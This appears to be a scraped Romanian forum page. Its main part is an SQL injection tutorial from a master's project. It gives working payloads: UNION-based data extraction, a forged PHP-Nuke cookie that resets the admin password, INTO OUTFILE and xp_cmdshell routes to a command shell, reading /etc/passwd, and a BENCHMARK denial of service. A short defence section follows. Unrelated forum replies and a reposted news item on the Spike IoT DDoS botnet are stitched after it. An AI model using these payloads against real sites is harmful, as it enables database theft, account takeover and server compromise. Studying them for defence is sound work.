supplied argument is not a valid MySQL result resource in ... Textul erorii de mai sus este foarte util raufacatorului la formarea codului SQL malicios specific unui tip de SGBD. 2.2. Identificarea parametrilor vulnerabili în cazurile cînd nu se afiseaza erorile Sa presupunem ca erorile ce apar în cazurile cererilor la baza de date nu se afiseaza. Atunci raufacatorului îi ramine posibilitatea de a determina prezenta vulnerabilitatii dupa comportamentul aplicatiei-web. Cu o mare probabilitate se poate de spus ca parametrul este vulnerabil cînd serverul returneaza erorile 302 (page redirect) si 500 (internal server error). În acest caz raufacatorul va utiliza unele tehnici mai avansate. Pentru a le întelege este nevoie de a cunoaste tipurile de baza SQL. Atributele în SQL pot avea unul din cele 3 tipuri de baza: numerici, sir de caractere sau datetime. Fiecare tip are caracteristicile sale specifice care pot ajuta raufacatorul în procesul de exploatare a vulnerabilitatii. În SQL parametrii numerici se transmit asa cum sunt, iar sirurile de caractere si valorile datetime sunt transmise între ghilimele (unele SGBD permit transmiterea si a valorilor numerice între ghilimele): SELECT * FROM users WHERE id=5 /* valoare numerica */ SELECT * FROM users WHERE name='admin' /* valoare sir de caractere*/ Testarea la SQL Injection a parametrilor numerici este foarte simpla. Voi aduce un exemplu cu 2 cazuri posibile: http://127.0.0.1/inj.php?id=5' http://127.0.0.1/inj.php?id=6-1 http://127.0.0.1/inj.php?id=4+1 Daca parametrul id este vulnerabil în primul caz va fi generata o eroare SQL (sau o exceptie: error 302, 500 – cînd erorile SGBD nu se afiseaza) deoarece cererea: /* 1 */ SELECT * FROM users WHERE id=5' nu este corecta din punct de vedere sintactic. Cererile 2a si 2b: /* 2a */ SELECT * FROM users WHERE id=6-1 /* 2b */ SELECT * FROM users WHERE id=4+1 se for executa corect si vor da ambele acelasi rezultat (vor extrage tuplul din baza de date cu valoarea variabilei id=5), indicînd la 100% ca parametrul numeric id este vulnerabil. O tehnica similara se foloseste la testarea parametrilor sir caractere cu exceptia unor diferente: valorile parametrilor se transmit între ghilimele si concatenarea sirurilor de caractere în diferite SGBD este realizata diferit (MySQL si MSSQL Server foloseste semnul +, iar Oracle – semnul ||). Caracteristicele specifice a unor sau altor SGBD vor fi expuse mai jos. Procedura de testare a parametrului name: http://127.0.0.1/inj.php?name=lma0 are deasemenea 2 cazuri posibile. În primul caz se parametrului i se transmite o valoare care o sa genereze eroare SQL: http://127.0.0.1/inj.php?name=lm'a0 Cererea SQL ce va genera eroare: /* 1 */ SELECT * FROM users WHERE name='lm'a0' deoarece este prezent un simbol ' în plus. Într-al doilea caz parametrului i se transmite o valoare ce ar indica vulnerabilitatea acestuia: http://127.0.0.1/inj.php?name=l'+'ma0 http://127.0.0.1/inj.php?name=lm'+'a0 Ca rezultat vor fi formate urmatoarele cereri la baza de date: /* 2a */ SELECT * FROM users WHERE name='l'+'ma0' /* 2b */ SELECT * FROM users WHERE name='lm'+'a0' Ambele cereri SQL sunt corecte si returneaza acelasi rezultat. 2.3. Parametrii vulnerabili în cookie Dupa sum se stie aplicatia-web primeste de la utilizatori date nu numai din cereri GET si POST dar si din cookies. Majoritatea programmerilor-web nici nu presupun ca parametrii primiti din cookies deasemenea pot fi vulnerabili. Voi arata un exemplu pe baza portalului PHP-Nuke versiunea 7.0 care dupa cum se stie este vulnerabil la SQL injection – nu se filtreaza datele din cookie. Nu voi intra în detalii, doar voi mentiona ca în PHP Nuke, în cookies se pastreaza un sir de caractere de forma base64_encode(login:md5(pass)). Iata o portiune din cookies: ... * admin YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ ... Sirul de caractere este codificat în base64: YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 Decodificat va fi: admin:96e79218965eb72c92a549dd5a330112: Unde admin – login, 96e79218965eb72c92a549dd5a330112 – md5(pass) (functia hash md5 a parolei), simbolul : este auxiliar. Voi expune o portiune din cod a fisierului de autorizare a utilizatorilor auth.php: ... f(isset($admin) && $admin != "") { // daca exista variabila $admin $admin = base64_decode($admin); // se decodeaza din base64 (din cookie) $admin = explode(":", $admin); // se imparte sirul in pina si dupa “:” $aid = "$admin[0]"; // login-ul $pwd = "$admin[1]"; // md5(parola) – md5 hash din cookie ... $sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; // !!! ... Dupa cum se observa variabila $aid primita din cookie nu se prelucreaza la simboluri speciale si este vulnerabila. Astfel raufacatorul cu usurinta poate modifica cookies. Plasînd în locul sirului de caractere: caractere: YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 sirul: YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd 2Q9J2M5ODY5ZGQwNDA3MTc4ZjQxZjBlMmE1NGQxMGI4Nzc1 JyBXSEVSRSBhaWQ9J2FkbWluOjk2ZTc5MjE4OTY1ZWI3MmM5Mm E1NDlkZDVhMzMwMTEyOg== Decodificat ca fi: admin'; update nuke_authors SET pwd='c9869dd0407178f41f0e2a54d10b8775' WHERE aid='admin:96e79218965eb72c92a549dd5a330112: Unde c9869dd0407178f41f0e2a54d10b8775 este functia hash md5 a parolei ‘hacked_password’. Efectul actiunii date – schimbarea parolei administratorului. 3. Metode de atac Sa presupunem ca raufacatorul a gasit un parametru vulnerabil. Pentru a exploata vulnerablitatea raufacatorul ar trebui aproximativ sa cunoasca tipul cererii SQL în care va fi injectat codul malicios. Cel mai des în aplicatiile-web sunt utilizate 4 tipuri de cereri SQL: 1. SELECT 2. INSERT 3. UPDATE 4. DELETE Care dintre acestea este folosit într-un caz concret, poate fi determinat analizînd logica si semantica scriptului vulnerabil. Daca scriptul afiseaza date ce corespund unui identificator anumit, atunci cu o mare probabilitate cererea este de tipul SELECT. Daca scriptul adauga unele date în baza de date, spre exemplu adaugarea unui comentariu, sau un post în forum – cererea este de tipul INSERT. Daca scriptul modifica informatia, spre exemplu schimbarea parolei, redactarea postului în forum – cererea este de tipul UPDATE. Daca are loc stergerea informatiei, spre exemplu anularea accountului, posibil ca cererea este sau de tipul DELETE sau de tipul UPDATE. Cel mai des sunt întîlnite vulnerabilitati în cereri SELECT. 3.1. Injectarea UNION SELECT Deoarece cel mai des vulnerabile sunt cererile la baza de date de tipul select, raufacatorii în primul rînd vor încerca de a injecta clauze UNION SELECT, deoarece în caz de succes raufacatorul va obtine acces la toate tabelele de sistem. În aceste tabele se contine informatia despre structura tuturor bazelor de date de pe server. Mai jos este prezentata lista tabelelor de sistem pentru diferite SGBD: 1. MS SQL Server INFORMATION_SCHEMA sysobjects syscolumns 2. MySQL mysql.user mysql.host mysql.db 3. Oracle SYS.USER_OBJECTS SYS.USER_TABLES SYS.USER_VIEWS SYS.USER_TAB_COLUMNS SYS.TAB SYS.ALL_TABLES Înainte de a efectua injectarea UNION SELECT raufacatorul ar trebui sa afle numarul de atribute în cererea SQL, tipul fiecarui atribut si denumirea unor tabele de sistem ceea ce se considera greu de realizat în cazurile cînd nu se afiseaza erorile în browser. Mai jos este demonstrat ca exista unele tehnici simple care ar solutiona problemele date. Cererea UNION SELECT trebuie sa contina acelasi numar de atribute, iar atributele trebuie sa fie de acelasi tip. 3.1.1. Identificarea numarului de atribute Mai întîi voi arata cît de simplu se afla numarul de atribute în cazul cînd se afiseaza erorile în browser. Sa presupunem ca exista urmatoarea vulnerabilitate în aplicatia-web ce utilizeaza SGBD MySQL: http://127.0.0.1/inj.php?id=5' Pentru a afla numarul de atribute raufacatorul va forma cererile: http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0/* http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1/* http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2/* http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2,3/* ... pîna ce va disparea mesajul de eroare: The used SELECT statements have a different number of columns Logurile MySQL: mysql> select * from users where id=-1 union select 0; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3,4; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3,4,5; +----+------+--------+----------+-------+------------+ | id | name | mgroup | password | email | ip_address | +----+------+--------+----------+-------+------------+ | 0 | 1 | 2 | 3 | 4 | 5 | +----+------+--------+----------+-------+------------+ 1 row in set (0.00 sec) În cazul cînd erorile cererii SQL nu se afiseaza în browser raufacatorul se va folosi de clauza ORDER BY pîna ce va aparea un mesaj de eroare: http://127.0.0.1/inj.php?id=-1+ORDER+BY+1/* http://127.0.0.1/inj.php?id=-1+ORDER+BY+2/* http://127.0.0.1/inj.php?id=-1+ORDER+BY+3/* ... Logurile MySQL: mysql> select * from users where id=-1 order by 1; Empty set (0.01 sec) mysql> select * from users where id=-1 order by 2; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 3; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 4; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 5; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 6; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 7; ERROR 1054: Unknown column '7' in 'order clause' Deoarece o cerere de tip SELECT are cel putin un atribut, aceasta tehnica este foarte efectiva. Raufacatorul incrementeaza numarul coloanei dupa care se face sortarea si cînd aplicatia-web întoarce o eroare (302 – page redirect sau 500 – internal server error) numarul exact coloanelor se stie. 3.1.2. Identificarea tipului atributelor Dupa ce se cunoaste numarul de atribute, mai ramîne de aflat tipul acestora. În MySQL tipul datelor este foarte usor de determnat deoarece valorile numerice pot fi considerate si ca valori sir de caractere. Însa cînd se folosesc SGBD MS SQL Server sau Oracle deseori pentru a solutiona problema data se utilizeaza cuvîntul rezervat NULL, deoarece acesta poate avea orice tip. Presupunînd ca numarul de atribute este calculat, raufacatorului îi este foarte usor de a înjecta clauza UNION cu toate atributele nule. Adaugarea înstructiunii WHERE care întotdeauna va fi evaluata ca falsa garanteaza eliminarea erorilor (unele aplicatii pot sa nu prelucreze valorile NULL). Voi aduce un exemplu pentru SGBD MS SQL Server (ceea ce este similar cu SGBD Oracle): http://127.0.0.1/inj.asp?id=-1' +UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL+WHERE+1=2-- Acest tip de injectare cu NULL are 2 scopuri. Principalul – de a obtine o cerere cu UNION fara erori. Si cealalta – aceasta cerere nu returneaza nimic, ceea ce dovedeste ca totul lucreaza corect. Odata ce este formata cererea procesul de identificare a tipurilor atributelor devine trivial. Într-o iteratie fiecarui atribut se dau valori numerice, sir de caractere sau datetime. -1'+UNION+SELECT+1,NULL,NULL,NULL,NULL,NULL+WHERE+1=2— Nici o eroare – primul atribut este numeric -1'+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2— Eroare -1'+UNION+SELECT+1,’2’,NULL,NULL,NULL,NULL+WHERE+1=2— Nici o eroare – al doilea atribut are tipul sir caractere -1'+UNION+SELECT+1,’2’,3,NULL,NULL,NULL+WHERE+1=2— Nici o eroare – al 3-lea atribut este numeric ... Astfel, avînd toata înformatia, datele din tabelele de sistem pot fi obtinute cu succes. Un exemplu de obtinere a datelor din SGBD MySQL: mysql> select * from users where id=-1 union select 0,1,2,mysql.user.password,4,5 from mysql.user; +----+------+--------+----------+-------+------------+ | id | name | mgroup | password | email | ip_address | +----+------+--------+----------+-------+------------+ | 0 | 1 | 2 | fdsJD83h | 4 | 5 | +----+------+--------+----------+-------+------------+ 1 row in set (0.00 sec) 3.2. Obtinerea unui interpretator de comenzi Unele SGBD permit extragerea rezultatelor cererii SQL într-un fisier. Acest lucru permite raufacatorilor de a forma un script care ulterior va fi util pentru controlul total al serverului (spre exemplu un php sau asp shell). În MySQL extragerea rezultatelor în fisier se face utilizînd clauza INTO OUTFILE. Un exemplu simplu ar fi urmatorul: INSERT '<? system($cmd) ?>' INTO OUTFILE /tmp/shell.php În MS SQL Server extragerea rezultatelor în fisier putin difera. În componenta cu serverul sunt unele module ce contin proceduri ce usureaza lucrul cu serverul si care pot fi apelate direct din cererea SQL. Una din aceste proceduri – master.dbo.sp_makewebtask – are destinatia aceasta. O alta metoda de a executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL Server este utilizarea procedurii master.dbo.xp_cmdshell. Un exemplu de cerere SQL: EXEC master.dbo.xp_cmdshell 'cmd.exe dir' 3.3. Metode specifice de atac asupra unui anumit tip de SGBD 3.3.1. MySQL SQL injecion permite de a afla si alte date: /* baza de date curenta */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,DATABASE(); /* utilizatorul care a lansat baza de date */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,USER(); /* versiunea serverului */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,VERSION(); Daca utilizatorul care a lansat SGBD are drepturi file_priv, atunci raufacatorul poate obtine continutul oricarui fisier de pe server: http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2,3,4,5, LOAD_FILE('/etc/passwd')/* O alta metoda de exploatare a vulnerabilitatii este utilizarea functiei char(num) care reîntoarce simbolul cu codul ASCII num: select * from users where id=9999 union select 0,1,2,char(109,121,115,113,108,46,117,115,101,114,46,112,97,115,115,119,111,114,100),4,5 from mysql.user ceea ce este echivalent cu: select * from users where id=9999 union select 0,1,2,mysql.user.password,4,5 from mysql.user Vulnerabilitatea SQL injection poate fi exploatata si pentru realizarea atacului DoS: select * from users where id= BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date))) trimiterea de catre raufacator a cîteva cereri de acest fel va face serverul sa frîneze considerabil. 3.3.2. MS SQL Server In baza de date de sistem INFORMATION_SCHEMA se contine informatia despre toate tabelele de pe server. Extragerea datelor din baza de date poate fi cu usurinta facuta în cazul cînd mesajele de erori ODBC se afiseaza în browser. Sa presupunem ca exista o aplicatie-web vulnerabila: http://127.0.0.1/?page_id=1’ Pentru început raufacatorul va afla denumirile tabelelor din baza de date, astfel va fi formata o cerere SQL malicioasa care ar extrage numele primului tabel: http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES-- Serverul va reîntoarce: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'table1' to a column of data type smallint Denumirea primului tabel din baza de date este table1. Apoi pentru a afla denumirile celorlalte tabele raufacatorul pe rînd va forma urmatoarele cereri: http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1')— Raspunsul serverului: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'table2' to a column of data type smallint Cererea urmatoare va fi: http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2')— Acest exemplu demonstreaza cît de folositoare de dovedesc a fi mesajele de eroare returnate de server pentru raufacator. 4. Caracteristici tipice a SGBD 4.1. MySQL 1. Suporta INTO OUTFILE 2. Majoritatea modulelor si bibliotecilor nu permit executarea cererilor multiple la baza de date 3. Suporta interogari UNION si JOIN (doar versiunile > =4.0) 4. Permite transmiterea valorilor numerice între ghilimele 4.2. Oracle 1. Suporta subselect 2. Suporta UNION 3. Nu permite executarea cererilor multiple la baza de date 4. Simbolul || se foloseste pentru concatenarea sirurilor de caractere 4.3. MS SQL 1. Suporta subselect 2. Suporta UNION 3. Permite executarea cererilor multiple la baza de date 4. Simbolul + se foloseste pentru concatenarea sirurilor de caractere 5. Metode de aparare Pentru a evita o posibila exploatare a vulnerabilitatii SQL Injection în aplicatia web, este necesar de a prelucra toate datele ce parvin de la utilizatori la urmatoarele simboluri: 1) Ghilimelele atit simple cît si duble (‘, “, `). Cu ajutorul acestora în majoritatea cazurilor se efectuiaza injectarea codului SQL. 2) Simbolurile de comentarii specifice SGBD anumit (/*,--). Cu ajutorul acestora poate fi omisa o parte din interogare. 3) Simbolurile ce împart instructiunile SQL (. Prezenta acestui simbol permite de a forma mai multe cereri la baza de date. 4) Deasemenea datele ar trebui sa fie verificate la prezenta si la alte simboluri (_,%,*). 5) În cazul cînd în cererea SQL se utilizeaza date numerice primite de la utilizatori, înainte de a le plasa în cererea SQL acestea ar trebui aduse la tipul numeric: $id=(int)$id; 6) În cazul cînd în cererea SQL se utilizeaza date de tip sir de caractere primite de la utilizatori, înainte de a le plasa în cererea SQL acestea ar trebui prelucrate la simboluri speciale. Cea mai buna practica – este formarea expresiilor regulate. Concluzii Trebuie de mentionat ca vulnerabilitatile de tipul SQL Injection sunt foarte raspîndite. În lucrare am demonstrat ca prezenta vulnerabilitatii date în aplicatia-web îi permite raufacatorului sa afle/extraga informatii despre server, sa obtina un interpretator de comenzi sau chiar sa realizeze un atac DoS. Pentru a evita prezenta acestei vulnerabilitati este nevoie de a prelucra la simboluri speciale absolut toate datele ce parvin de la utilizatori. În aceasta categorie intra parametrii GET, POST si chiar cookie. Aspectele reflectate în aceasta lucrare desigur nu acopera în întregime tema atacurilor SQL injection. Fiecare SGBD are nuantele sale pe care raufacatorul potential poate sa le foloseasca spre binele sau. Tema lucrarii date este derivata din tema proiectului de masterat întitulata „Metode si solutii de detectare a web-atacurilor”. Source

In primul rand noroc si bun venit la noi, apoi partea cu "vreau sa sparg cum sa sparg site-uri" ar spune-o doar un copil, partea cu vulnerabilitatile poti cauta tutoriale despre exploat dar mai intai trebuie sa inveti ce este acea vulnerabilitate, de ce apar errorile You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 SELECT module FROM rights WHERE user_id = Oricum inainte sa te poti apuca te pentesting trebuie sa inveti PHP,JS etc...

Buna treaba baieti si vizionare placuta tuturor

Cine dracu' are nevoie de carti pentru a vorbii cu o tipa... Si eu eram timid cand eram mai mic si etc... pana mi-am facut curaj, nu ai nevoie de carte sa vorbesti cu o tipa... Fi tu insuti nu incerca sa vi cu texte de acasa fiindca sigur nu o vei impresiona...

Si titlu " ATENTIEE!!!!" pariu ca va ajunge la Cos? ) asta suna a "Sparge-ti acest site pentru mine " ce penibil ...

Felicitari baieti (la, LFI desi am facut 75 (si cand dau sa repet zice ca am trecut acolo apare 60 bug ceva Off// Intr-un final am terminat

Spike botnet runs DDoS attacks from IoT devices Experts at Akamai spotted a new malware kit named Spike which is used by bad actors to run DDoS attacks through desktops and Internet of Things devices.According to Akamai’s Prolexic Security Engineering & Response Team (PLXsert) a new malware kit dubbed Spike was used by bad actors to run DDoS attacks through routers, smart thermostats, smart dryers and other devices to the Internet of Thingscategory. The toolkit gets its name from the word “spike” discovered by the experts in the source code of the malware, other strings found inside the code possibly identified the author as ‘Mr Black’ while one payload was dubbed ‘DealwithDDoS’. The experts noticed that Spike botnets have carried out several DDoS attacks not onlyfrom Windows and Linux machines, but also from IoT devices, including freezers andRaspberry Pi. The new variant of malware used by Spike botnets is based on an updated version of the Chinese language Spike malware that is targeting poorly configured Internet-of-Things devices. According to the experts at Akamai theDDoS attacks carried out by attackers are not are not negligible, one of them clocked 215 gigabits per second (Gbps) and 150 million packets per second (Mpps). One attack peaked at 215 gigabits per second (Gbps) and 150 million packets per second (Mpps). Even if majority of the DDoS attacks launched from low-powered devices could be insignificant, the Akamai firm warned that IoT devices could anyway represent a powerful weapon in the hand of the attackers. “Several Akamai customers have been targeted by DDoS attack campaigns launched from this botnet. One attack peaked at 215 gigabits per second and 150 million packets per second,” the company wrote in an advisory. “These binaries have been targeting Linux operating systems principally, but now PLXsert has identified a new malware kit that can also infect Windows systems and embedded devices. Several iterations of the Spike DDoS toolkit can communicate and execute commands to infected Windows, desktop Linux and ARM-based devices running the Linux operating system (OS). Binary payloads from this toolkit are dropped and executed after the successful compromise of targeted devices, which may include PCs, servers, routers, Internet-of-Things devices (i.e., smart thermostat systems and washer/dryers) and home-based customer premises equipment routing devices.” states the advisory on the “Spike DDoS Toolkit”. The Spike DDoS Toolkit was used to run various kinds of DDoS attacks, including SYN, UDP, Domain Name System query, and GET floods against Linux based machines, Windows, ARM-based Linux hosts. The experts have discovered a number of devices for the Spike botnet ranging from 12,000 to 15,000, the Akamai team is working on a proof of concept attack to infect IoT devices, but hasn’t done so successfully yet. “The ability of the Spike toolkit to generate an ARM-based payload suggests that the authors of such tools are targeting devices such as routers and IoT devices to expand their botnets for a post-PC era of botnet propagation,” says the Akamai advisory. The analysis of the binaries reveals that they were written about six months ago. The principal indicator for the presence of the Spike bot is the existence of a series of binaries that infect targeted operating systems, while PLXsert team detected binary payloads associated with the Spike DDoS toolkit that targeted desktop Linux OSs and ARM-based Linux hosts, the Russian anti-virus company Doctor Web also reported evidence of the payloads being ported to Windows machines. “The binaries associated with the Spike DDoS toolkit consists of one binary, while the iterations found by DrWeb may include several different binaries and other scripts associated with an infection.” states the advisory. DDoS attacks which exploit IoT devices are considered a rising trend by the security community, unfortunately this family of devices in many cases lack of security by design and software they run is hard to update. Just at this time we are debating the Bash Bug vulnerability, which could impact billion of devices worldwide, security experts are emphasizing the critical because of the attacks against the IoT devices which could exploit the critical flaw. Akamai confirmed that the DDoS attacks launched with the Spike botnet can be mitigated using access control lists, the company has issued a SNORT signature that can help system administrator to mitigate application-layer GET flood attacks generated through the toolkit. Give a look to the Akamai advisory to have more detailed info for hardening the various operating systems hit by the Spike attacks. Credits:Spike botnet runs DDoS attacks from IoT devices | Security Affairs

https://rstforums.com/forum/89798-kali-linux-nethunter.rst e cu totul diferit @d4rkm4nx vorbesti doar ca sa te afli in treaba?